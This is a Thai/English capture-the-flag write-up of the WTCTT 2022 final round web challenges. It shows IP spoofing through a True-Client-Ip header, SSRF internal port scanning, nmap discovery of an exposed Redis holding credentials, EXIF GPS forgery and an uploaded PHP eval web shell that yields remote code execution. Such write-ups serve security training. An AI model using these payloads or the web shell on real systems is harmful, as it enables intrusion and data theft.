CARTRIDGE · CYBER WRITE-UP
Cyber Write-up 2106 words · 11 minutes views

WTCTT 2022 Final Round

2022-12-18

Web Security#

  1. Do you still remember the manager of the Cyberspace Hotel? In 2003, when Chang Ming was just sixteen years old, he was recruited by the feline government to serve as a cyber spy, tasked with infiltrating the LongCat Malware Lab. He said that web hacking is easy. First, it just breaks in and then breaks out. So, it’s now your time to show web hacking kung-fu here.

https://malware-lab.ctf.p7z.pw

alt text

Solution#

  • .. didn't originate from cloudflare แสดงว่า เราต้องรู้ว่า ipv4 cloudflare คืออะไร และ ip เราเป็นอะไร ปลอมแปลงได้อย่างไร
  • .. didn't originate from cloudflare means we need to know what ipv4 cloudflare is, and what our IP is, and how to spoof it.

alt text

  • การปลอมแปลง IP มีได้หลายแบบ

  • X-Forwarded-For แต่ลองแล้วไม่ได้ เลยไปดูที่ cloudflare manage

  • IP spoofing can be done multiple ways.

  • Tried X-Forwarded-For but it didn’t work, so went to look at cloudflare managed transforms.

https://developers.cloudflare.com/rules/transform/managed-transforms/reference/

  • เปลี่ยนเป็น true-client-ip
  • Switch to true-client-ip instead.

alt text

alt text

FLAG_WTCTT_01{89df5ba2163861e8c565aff3313ba6ea}

  • หรือใช้ curl
  • Or use curl

curl --header "True-Client-Ip: 103.21.244.0" -I https://malware-lab.ctf.p7z.pw

alt text

  1. “During the secure development life cycle (SDLC) of LongCat Malware Lab, a privileged function was secretly added for debugging purposes. The programmer told me that he had already removed it. Can you please just quickly check if that is true or not?

Prerequisite: Challenge #1

Solution#

  • หลังจาก spoof IP จะทำให้เข้าหน้า dashboard ได้
  • After spoofing the IP, we can reach the dashboard page.

alt text

  • View source
  • View source

alt text

  • เวลาสังเกต css ให้สังเกตว่า ช่องที่ใช้งานจริง กับ css ที่เตรียมไว้มีอะไรต่างบ้าง เช่น มี textarea กับ input(debug) ที่น่าสงสัย

  • ลอง ?debug=1 มีหน้าเกิดขึ้น และพอกด scan เกิด textarea

  • When inspecting the CSS, compare what’s actually used on the page vs what’s defined in the CSS. For example, there’s a suspicious textarea and input(debug).

  • Try ?debug=1, a new page appears, and after clicking scan, a textarea shows up.

alt text

  • แสดงว่า programmer ลืมเอาส่วนแสดงผลใน css ออก

  • ไปดูที่ burp .. HTTP history จะเห็นตอนที่เราใส่ debug=1 จะมี flag2

  • The programmer forgot to remove the visible part in the CSS.

  • Check burp .. HTTP history. When we set debug=1, flag2 appears.

alt text

FLAG_WTCTT_02{8e80e2804bd9edad68e3e8706ec2657e}

  1. “LongCat Malware Lab is much more complex than it looks. There are multiple adjacent sub-systems on the internal network side. It is not easy to find but also not hard to find. Find it.

Prerequisite: Challenge #2

  • ประเด็นคือ การจะเชคว่า web secure หรือไม่ น่าจะต้องมี server และมีการส่งค่าไปตรวจสอบ แสดงว่า เราต้องมี webserver เพื่อดูว่าเจ้า malware lab ยิงอะไรไปตรวจสอบ

  • Tool น่าสนใจ

    • 10min mail … เมล์ใช้แล้วทิ้ง
    • Requestbin … webserver
  • The point is, to check whether a web is secure, there must be a server that sends a value to check. That means we need a webserver to see what the malware lab is sending out to verify.

  • Useful tools:

    • 10min mail … disposable email
    • Requestbin … webserver

alt text

alt text

  1. “So you have just found that internal server? Now, find the service that is running on it !

Prerequisite: Challenge #3”

  • Internal IP …nmap ไม่ได้ ใช้การ “internal port scan” โดยใช้ Server Site Request Forgery

  • Scan top 1000 port … หา word list top 1000 tcp เตรียมไว้

  • The IP is internal, so nmap can’t reach it. Use “internal port scan” via Server-Side Request Forgery instead.

  • Scan top 1000 ports … prepare a top 1000 TCP wordlist.

alt text

  • เข้าหน้าเว็บเดิม จากที่ได้ flag ก่อนหน้า send to intruder
  • Go back to the same page where we got the previous flag, send it to Intruder.

alt text

  • Intrude ตำแหน่ง port
  • Intrude the port position.

alt text

  • Length ส่วนใหญ่ 44xx แต่มีตัวประหลาดมากกว่า แสดงว่ามีข้อมูลเพิ่มเติม

  • เจอที่ port 8200 ผลลัพธ์จากการ scan จะเห็น flag4

  • Most lengths are 44xx but some are weirdly larger, meaning there’s extra data.

  • Found it at port 8200. The scan result shows flag4.

alt text

note : ตอนทดลองทำตาม Internal server ปิดแล้ว

note : By the time of writing the recreated walkthrough, the internal server was already taken down.

  1. “We have the ""tools"" for an in-memory database. The in-memory database is super fast, and maybe secure because we are running it on a non-default port. Like what we did with that secret FTP service.

Prerequisite: Challenge #4, or OSINT

nmap -Pn -n -p- malware-lab-tools.ctf.p7z.pw –-open -v

  • โดยทั่วไป ถ้า subnet เดียวกัน จะ arp scan แต่ถ้าคนละ subnet จะ ping ไป ดังนั้น ถ้ารู้ว่า server เปิดแน่ๆ ใช้ -Pn จะไม่ ping (ลดเวลา) จะทำการ scan port เลย

-n แปลง ip <-> domain ดังนั้น มันจะเร็วขึ้น --open เฉพาะ port ที่เปิด -v verbose โชว์ข้อความ debug มาด้วย

  • Normally, in the same subnet nmap does arp scan. In a different subnet it pings first. So if we already know the server is up, use -Pn to skip the ping (saves time) and go straight to port scanning.

-n skip DNS resolution, faster --open only show open ports -v verbose, show debug output

alt text

  • เจอ Port = 9736 เปิด

  • Scan ช่องโหว่ของ port

  • Port 9736 is open.

  • Scan that port for vulnerabilities:

nmap -p 9736 –open -vvv -sV malware-lab-tools.ctf.p7z.pw

alt text

  • เจอเป็น Redis DB

  • ต่อเข้าจะได้ user / pass

  • Turns out it’s a Redis DB.

  • Connect and grab the user/pass.

alt text

alt text

alt text

  • ระหว่างแข่งมี hint ให้ username / pass superadmin : 5LPdcagm4AiqF9Wt
  • During the competition, a hint gave username/pass superadmin : 5LPdcagm4AiqF9Wt.
  1. “Use the credential from the in-memory database in challenge 5 to log in to the Malware Lab Portal. Infiltrate into the underlying malware sandbox system.

https://malware-lab-portal.ctf.p7z.pw

Prerequisite: Challenge #5”

alt text

alt text

  • ต้องการ .jpg หรือ .zip

  • อยากรู้ code เลยลองหา code จาก Burp ดัก ตอนส่ง จะเห็นว่ามี api/upload.php

  • หรือไม่ก็ view source จะเห็นว่า ส่ง แบบ post ไปหา api/upload.php

  • Wants a .jpg or .zip.

  • Wanted to see the code, so caught the upload via Burp. We see api/upload.php.

  • Or view source: it POSTs to api/upload.php.

alt text

  • แต่เปิดใน burp ไม่เจอ code เลยต้องพยายามค้นใน backup

  • ลอง directory fuzzing

  • Opening it in Burp doesn’t show the code, so we had to search for a backup.

  • Try directory fuzzing.

alt text

  • Hint เพิ่มระหว่างแข่งให้ file backup.zip ดู code upload.php
  • During the contest, an extra hint gave us backup.zip to read the upload.php code.

alt text

alt text

  • ค้นหาแล้ว error Undefined ไม่มีใน code แนะนำให้ใช้ tool convert เพื่อให้ได้รูป jpg ที่แน่นอน
  • Searched and got an Undefined error, the value isn’t in the code. Recommended to use a converter tool to get a guaranteed proper jpg.

alt text

  • เมื่อเป็น รูปที่ถูก จะหลุด code มา show ใน กรณี file empty

  • อ่าน code แสดงการทำงาน คือ แตก zip -> หาไฟล์ txt

  • แต่การจะ unzip ได้ ต้อง เข้ารหัสด้วย pass ที่เจอ กรณีที่ lat-long ของภาพถูก

  • When the image is valid, the code leaks output (for the empty file case).

  • Reading the code: extract the zip -> look for a txt file.

  • But to unzip, the password is set only if the image’s lat-long is correct.

    if($malware_logo_exif['GPSLatitudeRef'] === 'N' && 
      $malware_logo_exif['GPSLongitudeRef'] === 'E'

Tool: exiftool

exiftool -GPSLatitude=13.7442821 -GPSLatitudeRef=N -GPSLongitude=100.5347507 -GPSLongitudeRef=E FILE

alt text

$extract_dir = '/opt/sandbox/' . md5_file($_FILES['malware_zip']['tmp_name']) .

ไล่ code จะเห็นว่าตรวจสอบบรรทัดแรกก่อนคือ คำว่า help แล้ว จะตัดคำอื่นๆ ต่อ เพราะฉะนั้น มีแนวโน้มว่าไฟล์ ควรจะมีข้อความ

Reading the code: it first checks that the first line is help, then splits the other words. So our file should contain something like:

Help a.php <?php /…. ?>

Note:

Simple php … <?php system("id");?>

  • แต่จะมีปัญหาการโดนตัดคำด้วย split ช่องว่าง ทำให้เลือกใช้ <?=eval($_POST[0];?>
  • But the problem is the split-by-whitespace, so we use <?=eval($_POST[0];?> instead.

<?=eval[$_POST[0]];?> .... php shell หลีกเลี่ยงการตัดด้วย spacebar

  • ดังนั้น ข้อความในไฟล์ที่จะแนบคือ
  • So the text inside the attached file is:

Help a.php <?=eval[$_POST[0]];?>

alt text

  • Zip with pass ที่ได้ แล้ว upload ใหม่ ด้วยรูปที่ไม่มี location
  • Zip with the password we got, then re-upload along with an image with no location.

alt text

  • From code > http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/

  • ของเรา

  • From code: http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/

  • Ours:

http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/488ea36db3ab2a24aa97039d3fa36c82/a.php

  • เปิดจะไม่มีอะไร เพราะครั้งแรกของการ upload ถ้าไม่มีไฟล์ จะสร้างไฟล์เปล่า
  • Opening it shows nothing, because on the first upload (without a file), it creates an empty file.

alt text

  • ดังนั้น… ต้อง up ใหม่ จะเป็นการเอา command ที่เขียนไปใส่ใน php
  • So… re-upload, which will inject our command into the php file.

alt text

  • ใช้ repeater ใน burb เพื่อส่ง argument
  • Use Burp Repeater to send arguments.

alt text

  • จะ show info และเพราะคำใบ้คือ env ดังนั้น จะได้ flag จาก response กรณีนี้

  • ลองคำสั่งอื่น readfile()

  • It shows info, and since the hint was env, the flag is in this response.

  • Try other commands like readfile().

alt text

Note: user ที่ shell ได้ จะมี directory /home/เก็บข้อมูลไว้ก่อน

Note: the user that gets the shell has a /home/ directory holding data already.

  1. “Remote code execution and enum the malware sandbox system. Flag is hidden in plain sight !

Prerequisite: Challenge #6

  • จากข้อที่แล้ว มี 2 คน น่าสนใจ คือ wangli และ changming History ของ bash ย้อนหลัง ... /home/wangle/.bash_history
  • From the previous challenge, 2 interesting users: wangli and changming. Check the bash history: ... /home/wangle/.bash_history

alt text

  • เจอว่า wangli ใช้ sql
  • Found that wangli was using SQL.

alt text

  • Changming เจอ flag !!
  • Changming has the flag!

FLAG_WTCTT_07{48842e3b0084532ff2b9a4f9a2e11b8f}

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠀⠀⠀⠀⠀
        ⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋   ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀  ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀  ⢿⣿⣿⣿⡟ Ar3mus @ WTCTT 2022 Final Round
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄   ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀  ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀  ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀   ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀
WTCTT 2022 Final Round
https://ar3mus.pages.dev/posts/write-up/4/
Author
Ar3mus
Published at
2022-12-18
Thriller (Chiptune Lofi)
Lian Fort · Moonwalker & Chill
SOURCE ON SPOTIFY